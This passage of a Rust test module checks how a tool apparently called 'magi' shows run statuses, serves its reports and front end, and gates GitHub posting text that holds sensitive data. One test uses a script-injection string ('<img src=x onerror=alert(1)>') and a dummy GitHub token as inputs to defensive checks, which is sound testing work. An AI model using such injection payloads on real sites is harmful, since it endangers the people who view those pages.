20371 state.id = "20260922-090200-dead".to_owned();
20372 state.status = RunStatus::Reviewing;
20373 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20374 .expect("serialize list row");
20375 assert_eq!(row["status"], "reviewing");
20376 assert_eq!(row["display_status"], "stale");
20377 assert_eq!(row["live"], "dead", "{row}");
20378 assert!(!row["done"].as_bool().unwrap());
20379 }
20380
20381 #[test]
20382 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20383 use crate::run::Liveness::{Dead, Live, Unknown};
20384 let mut state = RunState::new(
20385 PathBuf::from("/repo/magi"),
20386 "main".to_owned(),
20387 "abc".to_owned(),
20388 "Review only".to_owned(),
20389 Config::default(),
20390 );
20391 for (status, parked, node, waiting, live, expected) in [
20392 (
20393 RunStatus::Judging,
20394 true,
20395 "github-text",
20396 false,
20397 Dead,
20398 "parked",
20399 ),
20400 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20401 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20402 (
20403 RunStatus::Judging,
20404 true,
20405 "github-text",
20406 true,
20407 Dead,
20408 "waiting",
20409 ),
20410 (
20411 RunStatus::Judging,
20412 false,
20413 "github-text",
20414 true,
20415 Dead,
20416 "waiting",
20417 ),
20418 (
20419 RunStatus::Judging,
20420 false,
20421 "github-text",
20422 false,
20423 Dead,
20424 "stale",
20425 ),
20426 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20427 (RunStatus::Judging, true, "park", false, Live, "judging"),
20428 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20429 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20430 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20431 (
20432 RunStatus::Blocked,
20433 true,
20434 "github-text",
20435 true,
20436 Dead,
20437 "waiting",
20438 ),
20439 ] {
20440 state.status = status;
20441 state.parked = parked;
20442 state.events.clear();
20443 state.event(
20444 "park",
20445 "an earlier park does not determine the latest state",
20446 );
20447 state.event(node, "message is not used for classification");
20448 let summary = RunSummary::of(&state, waiting, live);
20449 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20450 assert_eq!(
20451 summary.display_status, expected,
20452 "{status:?}/{node}/{live:?}"
20453 );
20454 assert_eq!(detail.display_status, summary.display_status);
20455 assert_eq!(detail.waiting, summary.waiting);
20456 }
20457 state.status = RunStatus::Judging;
20458 state.parked = false;
20459 state.events.clear();
20460 assert_eq!(run_display_status(&state, false, Dead), "stale");
20461 }
20462
20463 #[test]
20464 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20465 use crate::run::Liveness::{Dead, Live, Unknown};
20466 let mut state = RunState::new(
20467 PathBuf::from("/repo/magi"),
20468 "main".to_owned(),
20469 "abc".to_owned(),
20470 "Badge".to_owned(),
20471 Config::default(),
20472 );
20473 for (status, waiting, live, superseded, expected) in [
20474 (RunStatus::Gating, false, Dead, false, "stale"),
20475 (RunStatus::Gating, false, Dead, true, "superseded"),
20476 (RunStatus::Gating, false, Unknown, true, "superseded"),
20477 (RunStatus::Gating, true, Dead, true, "superseded"),
20478 (RunStatus::Gating, true, Dead, false, "waiting"),
20479 (RunStatus::Gating, false, Unknown, false, "gating"),
20480 (RunStatus::Gating, false, Live, true, "gating"),
20481 (RunStatus::Gating, true, Live, true, "waiting"),
20482 (RunStatus::Merged, false, Dead, true, "merged"),
20483 (RunStatus::Blocked, false, Dead, true, "blocked"),
20484 ] {
20485 state.status = status;
20486 let display = run_display_status(&state, waiting, live);
20487 assert_eq!(
20488 run_badge_status(&state, &display, live, superseded),
20489 expected,
20490 "{status:?}/{live:?}/superseded={superseded}"
20491 );
20492 }
20493 }
20494
20495 #[test]
20496 fn summarize_and_detail_expose_badge_status() {
20497 use crate::run::Liveness::Dead;
20498 let mut state = RunState::new(
20499 PathBuf::from("/repo/magi"),
20500 "main".to_owned(),
20501 "abc".to_owned(),
20502 "Badge".to_owned(),
20503 Config::default(),
20504 );
20505 state.status = RunStatus::Gating;
20506 let none = HashSet::new();
20507 let id = state.id.clone();
20508 let mut by = HashMap::new();
20509 let rows = summarize(
20510 [state.clone()],
20511 &none,
20512 &none,
20513 &by,
20514 |_| Some(false),
20515 |_| None,
20516 );
20517 assert_eq!(rows[0].badge_status, rows[0].display_status);
20519 by.insert(id, "20260901-000000-913b".to_owned());
20520 let detail = RunDetailView::of(
20521 state.clone(),
20522 false,
20523 Dead,
20524 Some("913b".to_owned()),
20525 None,
20526 None,
20527 );
20528 assert_eq!(detail.badge_status, "superseded");
20529 let json = serde_json::to_value(&detail).unwrap();
20530 assert_eq!(json["badge_status"], "superseded");
20531 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20532 assert_eq!(detail.badge_status, "stale");
20533 }
20534
20535 #[tokio::test]
20536 async fn run_display_status_routes_share_the_open_question_store() {
20537 let f = Fixture::start().await;
20538 let id = "20260922-090200-abcd";
20539 write_run(&f.runs(), id, RunStatus::Judging);
20540 let mut state = read_run(&f.runs(), id).unwrap();
20541 state.parked = true;
20542 state.driver_exited = true;
20543 state.event("github-text", "waiting for the owner");
20544 state.save_under(f.home.path()).unwrap();
20545 let mut task = Task::new(
20546 "resumed task".to_owned(),
20547 "do it".to_owned(),
20548 PathBuf::from("/repo"),
20549 Source::Human,
20550 );
20551 task.runs = vec![id.to_owned(), id.to_owned()];
20552 f.queue().put(&mut task).unwrap();
20553 let store = f.questions();
20554 let mut q = Question::new(
20555 id.to_owned(),
20556 "github-text".to_owned(),
20557 "owner".to_owned(),
20558 "Approve the text?".to_owned(),
20559 String::new(),
20560 Vec::new(),
20561 );
20562 store.put(&mut q).unwrap();
20563 for expected in ["waiting", "parked"] {
20564 let list = f.get("/api/runs").await.json();
20565 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20566 assert_eq!(list[0]["display_status"], expected);
20567 assert_eq!(detail["display_status"], expected);
20568 assert_eq!(detail["waiting"], list[0]["waiting"]);
20569 assert_eq!(list[0]["badge_status"], expected);
20570 assert_eq!(detail["badge_status"], expected);
20571 assert!(list[0]["superseded_by"].is_null());
20572 assert!(detail["superseded_by"].is_null());
20573 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20574 let history = task_detail["history"].as_array().unwrap();
20575 assert_eq!(history.len(), 2);
20576 assert!(history[0]["badge"].is_null());
20577 assert_eq!(history[1]["badge"], expected);
20578 q.status = ask::QuestionStatus::Answered;
20579 store.put(&mut q).unwrap();
20580 }
20581 }
20582
20583 #[tokio::test]
20584 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20585 let f = Fixture::start().await;
20586 let id = "20260922-090200-abcd";
20587 write_run(&f.runs(), id, RunStatus::Judging);
20588 let mut state = read_run(&f.runs(), id).unwrap();
20589 state.parked = true;
20590 state.driver_exited = true;
20591 state.event("park", "stopped at a node boundary");
20592 state.save_under(f.home.path()).unwrap();
20593
20594 for expected in ["parked", "stale"] {
20595 let list = f.get("/api/runs").await.json();
20596 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20597 assert_eq!(list[0]["live"], "dead");
20598 assert_eq!(list[0]["display_status"], expected);
20599 assert_eq!(detail["display_status"], expected);
20600 state.parked = false;
20603 state.save_under(f.home.path()).unwrap();
20604 }
20605 }
20606
20607 #[tokio::test]
20608 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20609 let f = Fixture::start().await;
20610 for id in [
20611 "20260902-140501-aaaa",
20612 "20260902-140502-bbbb",
20613 "20260902-140503-cccc",
20614 ] {
20615 write_run(&f.runs(), id, RunStatus::Merged);
20616 }
20617
20618 let all = f.get("/api/runs").await.json();
20619 let capped = f.get("/api/runs?limit=2").await.json();
20620
20621 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20622 assert_eq!(all.as_array().map(Vec::len), Some(3));
20623 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20624 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20625 }
20626
20627 #[tokio::test]
20628 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20629 let f = Fixture::start().await;
20630 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20631
20632 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20633
20634 assert_eq!(res.status, 200);
20635 assert!(
20636 res.headers
20637 .contains("content-type: text/plain; charset=utf-8"),
20638 "a browser must render it, not download it: {}",
20639 res.headers
20640 );
20641 assert!(
20645 res.body.contains("20260902-140501-a1b2"),
20646 "the report is about the run that was asked for: {}",
20647 res.body
20648 );
20649 }
20650
20651 #[tokio::test]
20652 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20653 crate::run::pin_test_home();
20655 let f = Fixture::start().await;
20656 let id = "20260902-140501-a1b2";
20657 write_run(&f.runs(), id, RunStatus::Stalled);
20658 let path = f.runs().join(id).join("run.json");
20661 let mut v: serde_json::Value =
20662 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20663 v["tally"] = serde_json::json!({
20664 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20665 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20666 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20667 "met_quorum": false, "rankings": 1
20668 });
20669 v["reviews"] = serde_json::json!([{
20670 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20671 "e2e_deferred": true,
20672 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20673 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20674 ]}]
20675 }]);
20676 std::fs::write(&path, v.to_string()).unwrap();
20677 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20678 std::fs::write(
20679 f.runs().join("20260902-140502-dead").join("run.json"),
20680 "{not json",
20681 )
20682 .unwrap();
20683
20684 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20685
20686 assert_eq!(res.status, 200, "{}", res.body);
20687 assert!(res.headers.contains("content-type: application/json"));
20688 let j = res.json();
20689 assert_eq!(j["schema"], 1);
20690 assert_eq!(j["header"]["id"], id);
20691 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20692 let kinds: Vec<&str> = j["sections"]
20693 .as_array()
20694 .unwrap()
20695 .iter()
20696 .map(|s| s["kind"].as_str().unwrap())
20697 .collect();
20698 assert_eq!(kinds, ["candidates", "tally", "review"]);
20699 let tally = &j["sections"][1]["tally"];
20700 assert_eq!(
20701 (tally["decided"].clone(), tally["provisional"].clone()),
20702 (false.into(), true.into())
20703 );
20704 let round = &j["sections"][2]["rounds"][0];
20705 assert_eq!(round["e2e"]["state"], "deferred");
20706 assert_eq!(round["findings"][0]["severity"], "major");
20707 assert_eq!(round["findings"][0]["blocking"], true);
20708 assert_eq!(round["findings"][0]["state"], "open");
20709
20710 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20712
20713 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20715 assert_ne!(bad.status, 200, "{}", bad.body);
20716 assert_eq!(
20717 bad.status,
20718 f.get("/api/runs/20260902-140502-dead/report").await.status
20719 );
20720 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20721 assert_eq!(
20722 f.get("/api/runs/20260902-999999-ffff/report.json")
20723 .await
20724 .status,
20725 404
20726 );
20727 }
20728
20729 #[tokio::test]
20730 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20731 crate::run::pin_test_home();
20732 let f = Fixture::start().await;
20733 let id = "20260902-140503-delib";
20734 write_run(&f.runs(), id, RunStatus::Merged);
20735 let path = f.runs().join(id).join("run.json");
20736 let mut v: serde_json::Value =
20737 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20738 v["judgements"] = serde_json::json!([
20739 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20740 ]);
20741 v["tally"] = serde_json::json!({
20742 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20743 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20744 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20745 "met_quorum": true, "rankings": 1
20746 });
20747 v["deliberation"] = serde_json::json!([
20748 {
20749 "round": 1,
20750 "turns": [
20751 {
20752 "judge": 1,
20753 "agent": "judge-1",
20754 "body": "I prefer candidate **A** because it has cleaner tests.",
20755 "tentative": "A"
20756 }
20757 ]
20758 },
20759 {
20760 "round": 2,
20761 "turns": [
20762 {
20763 "judge": 1,
20764 "agent": "judge-1",
20765 "body": "Still thinking, no choice yet.",
20766 "tentative": null
20767 }
20768 ]
20769 }
20770 ]);
20771 std::fs::write(&path, v.to_string()).unwrap();
20772
20773 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20774 assert_eq!(res.status, 200, "{}", res.body);
20775 let j = res.json();
20776 let judging = j["sections"]
20777 .as_array()
20778 .unwrap()
20779 .iter()
20780 .find(|s| s["kind"] == "judging")
20781 .expect("judging section exists");
20782
20783 let delib_lines = judging["deliberation"].as_array().unwrap();
20785 assert_eq!(delib_lines.len(), 2);
20786 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20787 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20788
20789 let rounds = judging["rounds"].as_array().unwrap();
20791 assert_eq!(rounds.len(), 2);
20792 let r1_t0 = &rounds[0]["turns"][0];
20793 assert_eq!(r1_t0["judge"], 1);
20794 assert_eq!(r1_t0["agent"], "judge-1");
20795 assert_eq!(r1_t0["tentative"], "A");
20796 assert_eq!(
20797 r1_t0["body"],
20798 "I prefer candidate **A** because it has cleaner tests."
20799 );
20800 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20801
20802 let r2_t0 = &rounds[1]["turns"][0];
20803 assert_eq!(r2_t0["judge"], 1);
20804 assert_eq!(r2_t0["agent"], "judge-1");
20805 assert!(r2_t0["tentative"].is_null());
20806 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20807 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20808
20809 let id_empty = "20260902-140504-nodelib";
20811 write_run(&f.runs(), id_empty, RunStatus::Merged);
20812 let path_empty = f.runs().join(id_empty).join("run.json");
20813 let mut v_empty: serde_json::Value =
20814 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20815 v_empty["judgements"] = serde_json::json!([
20816 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20817 ]);
20818 v_empty["deliberation"] = serde_json::json!([]);
20819 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20820
20821 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20822 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20823 let j_empty = res_empty.json();
20824 let judging_empty = j_empty["sections"]
20825 .as_array()
20826 .unwrap()
20827 .iter()
20828 .find(|s| s["kind"] == "judging")
20829 .expect("judging section exists");
20830 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20831 }
20832
20833 #[tokio::test]
20834 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20835 let f = Fixture::start().await;
20836
20837 let html = f.get("/").await;
20838 let css = f.get("/app.css").await;
20839 let js = f.get("/app.js").await;
20840
20841 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20842 assert!(
20843 html.headers
20844 .contains("content-type: text/html; charset=utf-8")
20845 );
20846 assert!(css.headers.contains("content-type: text/css"));
20847 assert!(js.headers.contains("content-type: text/javascript"));
20848 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20849 }
20850
20851 #[test]
20852 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20853 let body = |name: &str| {
20854 let at = APP_JS
20855 .find(name)
20856 .unwrap_or_else(|| panic!("{name} missing"));
20857 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20858 };
20859 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20860 let note = body("function landRoundNote");
20861 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20862 assert!(note.contains("Land round ${round}"));
20863 let land = body("function renderLand");
20864 let note_at = land
20865 .find("landRoundNote(pr)")
20866 .expect("renderLand uses the note");
20867 assert!(
20868 note_at
20869 < land
20870 .find("roundRail(pr)")
20871 .expect("renderLand uses the rail")
20872 );
20873 }
20874
20875 #[test]
20876 fn the_runs_page_redesign_keeps_its_guards() {
20877 let body = |name: &str| {
20878 let at = APP_JS
20879 .find(name)
20880 .unwrap_or_else(|| panic!("{name} missing"));
20881 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20882 };
20883 let land = body("function renderLand");
20885 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20886 assert!(
20887 !land.contains("box.append("),
20888 "renderLand must use append()"
20889 );
20890 assert!(land.contains("append(box, ["));
20891 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20893 assert!(
20894 body("function applyRoute")
20895 .contains("route.name !== state.route.name || route.id !== state.route.id")
20896 );
20897 assert!(!APP_JS.contains("adviseConvergeDiagram"));
20899 assert!(!INDEX_HTML.contains("advise-converge"));
20900 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20901 assert!(APP_JS.contains("provisional"));
20902 for id in [
20903 "run-tab-overview",
20904 "run-tab-timeline",
20905 "run-tab-report",
20906 "run-report",
20907 "runs-scope",
20908 ] {
20909 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20910 }
20911 assert!(!INDEX_HTML.contains("runs-tree"));
20912 assert!(!INDEX_HTML.contains("run-raw-panel"));
20913 assert!(APP_JS.contains("resume"));
20915 assert!(APP_JS.contains("unreadable"));
20917 }
20918
20919 #[test]
20920 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20921 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20922 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20923 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
20924 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20925 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20926 assert!(APP_JS.contains("unreadable` : null"));
20928 }
20929
20930 #[test]
20931 fn blocked_run_detail_exposes_the_failed_gate_reason() {
20932 let mut state = RunState::new(
20933 "/repo".into(),
20934 "main".into(),
20935 "abc".into(),
20936 "task".into(),
20937 crate::config::Config::default(),
20938 );
20939 state.status = RunStatus::Blocked;
20940 state.gate_ran = true;
20941 state.gate.push(crate::run::CommandOutcome {
20942 command: "cargo make check".into(),
20943 code: Some(1),
20944 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20945 duration_ms: 0,
20946 resource_blocked: false,
20947 });
20948 let view = RunDetailView::of(
20949 state,
20950 false,
20951 crate::run::Liveness::Unknown,
20952 None,
20953 None,
20954 None,
20955 );
20956 let value = serde_json::to_value(view).unwrap();
20957 assert_eq!(
20958 value["stop_reason"],
20959 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20960 );
20961 }
20962
20963 #[test]
20964 fn the_run_detail_payload_says_whether_the_run_is_done() {
20965 for (status, done) in [
20967 (RunStatus::Superseded, true),
20968 (RunStatus::Blocked, true),
20969 (RunStatus::Landing, false),
20970 ] {
20971 let mut state = RunState::new(
20972 std::path::PathBuf::from("/repo"),
20973 "main".to_owned(),
20974 "abc".to_owned(),
20975 "x".to_owned(),
20976 crate::config::Config::default(),
20977 );
20978 state.status = status;
20979 let v = serde_json::to_value(RunDetailView::of(
20980 state,
20981 false,
20982 crate::run::Liveness::Unknown,
20983 None,
20984 None,
20985 None,
20986 ))
20987 .unwrap();
20988 assert_eq!(v["done"], done, "{status:?}");
20989 }
20990 }
20991
20992 fn has_strong(nodes: &[md::Node]) -> bool {
20994 serde_json::to_string(nodes).unwrap().contains("strong")
20995 }
20996
20997 #[test]
20998 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20999 let mut state = RunState::new(
21000 std::path::PathBuf::from("/repo"),
21001 "main".to_owned(),
21002 "abc".to_owned(),
21003 "x".to_owned(),
21004 crate::config::Config::default(),
21005 );
21006 let proposal = |approach: &str| {
21007 serde_json::json!({
21008 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21009 })
21010 };
21011 state.advice = Some(
21012 serde_json::from_value(serde_json::json!({
21013 "records": [
21014 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21015 "proposal": proposal("do **this**")},
21016 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21017 ],
21018 "synthesis": "- one\n- **two**\n\n`code`",
21019 }))
21020 .unwrap(),
21021 );
21022 state.candidates = serde_json::from_value(serde_json::json!([
21023 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21024 "summary": "did **it**"},
21025 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21026 ]))
21027 .unwrap();
21028 state.reviews = serde_json::from_value(serde_json::json!([{
21031 "round": 1, "head": "h",
21032 "reviews": [{
21033 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21034 "findings": [
21035 {"severity": "nit", "title": "t1", "detail": "plain nit"},
21036 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21037 ],
21038 }],
21039 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21040 "fix": {"agent": "a", "notes": "fixed **it**",
21041 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21042 }, {"round": 2, "head": "h2", "reviews": []}]))
21043 .unwrap();
21044
21045 let v = serde_json::to_value(RunDetailView::of(
21046 state,
21047 false,
21048 crate::run::Liveness::Unknown,
21049 None,
21050 None,
21051 None,
21052 ))
21053 .unwrap();
21054
21055 let strong = |p: &str| {
21056 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21057 assert!(n.to_string().contains("strong"), "{p}: {n}");
21058 };
21059 strong("/advice_md/synthesis");
21060 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21061 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21062 strong("/advice_md/approaches/0");
21063 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21064 strong("/candidate_summaries_md/0");
21065 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21066 strong("/reviews_md/0/reviewers/0/summary");
21067 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21068 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21069 assert!(f[1].to_string().contains("strong"));
21070 strong("/reviews_md/0/reconsideration/0");
21071 strong("/reviews_md/0/fix/notes");
21072 strong("/reviews_md/0/fix/rejected/0");
21073 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21074 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21075 assert_eq!(v["candidates"][0]["summary"], "did **it**");
21077 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21078 }
21079
21080 #[test]
21081 fn a_run_without_advice_has_no_advice_md() {
21082 let state = RunState::new(
21083 std::path::PathBuf::from("/repo"),
21084 "main".to_owned(),
21085 "abc".to_owned(),
21086 "x".to_owned(),
21087 crate::config::Config::default(),
21088 );
21089 let p = run_prose_md(&state);
21090 assert!(p.advice_md.is_none());
21091 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21092 }
21093
21094 #[test]
21095 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21096 let store = ask::Questions::at(PathBuf::from("unused"));
21097 let gt = crate::github_text::Withheld {
21098 title: false,
21099 body: true,
21100 categories: vec!["sensitive-data".into()],
21101 };
21102 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21103 let (detail, comparison) =
21104 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21105 let mut q = Question::new(
21106 "r".into(),
21107 "github-text".into(),
21108 "posting-gate".into(),
21109 "s".into(),
21110 detail,
21111 Vec::new(),
21112 );
21113 assert!(
21114 QuestionView::of(q.clone(), &store, None)
21115 .posting_view
21116 .is_none()
21117 );
21118 q.posting_comparison = Some(comparison);
21119 let view = QuestionView::of(q.clone(), &store, None);
21120 let field = &view.posting_view.unwrap().fields[0];
21121 assert_eq!(
21122 field
21123 .original
21124 .iter()
21125 .map(|f| f.text.as_str())
21126 .collect::<String>(),
21127 body
21128 );
21129 assert!(field.original[0].text.starts_with("<img"));
21130 let original_question: Question =
21131 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21132 assert_eq!(original_question, q);
21133 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21134 .original
21135 .start = 1;
21136 assert!(
21137 QuestionView::of(q.clone(), &store, None)
21138 .posting_view
21139 .is_none()
21140 );
21141 q.posting_comparison = original_question.posting_comparison;
21142 q.detail.push_str("extra context");
21143 assert!(
21144 QuestionView::of(q.clone(), &store, None)
21145 .posting_view
21146 .is_some()
21147 );
21148 q.detail.insert(0, 'x');
21149 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21150 }
21151
21152 #[test]
21153 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21154 let store = ask::Questions::at(PathBuf::from("unused"));
21155 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21156 let gt = crate::github_text::Withheld::from_check(
21157 &crate::github_text::check("fix: x", body),
21158 "fix: x",
21159 body,
21160 )
21161 .unwrap();
21162 let (detail, comparison) =
21163 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21164 let mut q = Question::new(
21165 "r".into(),
21166 "github-text".into(),
21167 "posting-gate".into(),
21168 "s".into(),
21169 detail,
21170 Vec::new(),
21171 );
21172 q.posting_comparison = Some(comparison);
21173 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21174 let field = &value["posting_view"]["fields"][0];
21175 let group = &field["replacement_group"];
21176 let triggers = group["triggers"].as_array().unwrap();
21177 assert_eq!(triggers.len(), 2);
21178 assert_ne!(triggers[0], triggers[1]);
21179 for id in triggers {
21180 assert!(
21181 field["original"]
21182 .as_array()
21183 .unwrap()
21184 .iter()
21185 .any(|f| &f["pair"] == id)
21186 );
21187 assert!(
21188 !field["changed"]
21189 .as_array()
21190 .unwrap()
21191 .iter()
21192 .any(|f| &f["pair"] == id)
21193 );
21194 }
21195 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21196 group["id"].as_u64().unwrap() as usize;
21197 assert!(
21198 QuestionView::of(q, &store, None).posting_view.is_none(),
21199 "group and trigger IDs cannot collide"
21200 );
21201 }
21202
21203 #[test]
21204 fn a_question_view_carries_markdown_for_each_thread_turn() {
21205 let home = TempDir::new().unwrap();
21206 let store = ask::Questions::at(home.path().join("questions"));
21207 let mut q = Question::new(
21208 "run".to_owned(),
21209 "implement".to_owned(),
21210 "impl-A".to_owned(),
21211 "which?".to_owned(),
21212 String::new(),
21213 Vec::new(),
21214 );
21215 q.say("plain words").unwrap();
21216 q.reply("use **this**", Vec::new()).unwrap();
21217 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21218 let bodies = &v["thread_bodies_md"];
21219 assert_eq!(bodies.as_array().unwrap().len(), 2);
21220 assert!(!bodies[0].to_string().contains("strong"));
21221 assert!(bodies[1].to_string().contains("strong"));
21222 }
21223
21224 #[test]
21225 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21226 let home = TempDir::new().unwrap();
21227 let store = ask::Questions::at(home.path().join("questions"));
21228 let mut q = Question::new(
21229 "run".to_owned(),
21230 "conduct".to_owned(),
21231 "conduct".to_owned(),
21232 "which?".to_owned(),
21233 String::new(),
21234 Vec::new(),
21235 );
21236 q.say("plain words").unwrap();
21237 q.thread.push(ask::Turn {
21238 who: ask::Who::Agent,
21239 body: "Settled as `merge`".to_owned(),
21240 at: jiff::Timestamp::now(),
21241 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21242 });
21243 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21244 let notes = &v["thread_notes_md"];
21245 assert_eq!(notes.as_array().unwrap().len(), 2);
21246 assert!(notes[0].is_null());
21247 let text = notes[1].to_string();
21248 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21249 assert!(APP_JS.contains("ask-turn-note"));
21250 }
21251
21252 #[test]
21253 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21254 assert!(APP_JS.contains("function landView(run, raw) {"));
21258 assert!(
21259 APP_JS.contains(
21260 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21261 )
21262 );
21263 assert!(APP_JS.contains("const pr = landView(run, raw);"));
21264 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21265 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21266 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21267 }
21268
21269 #[test]
21270 fn live_runs_are_never_hidden_or_folded_as_superseded() {
21271 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
21272 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21273 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21274 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21275 }
21276
21277 #[test]
21278 fn review_rounds_label_a_distinct_verified_head() {
21279 assert!(APP_JS.contains("round.verified_head"));
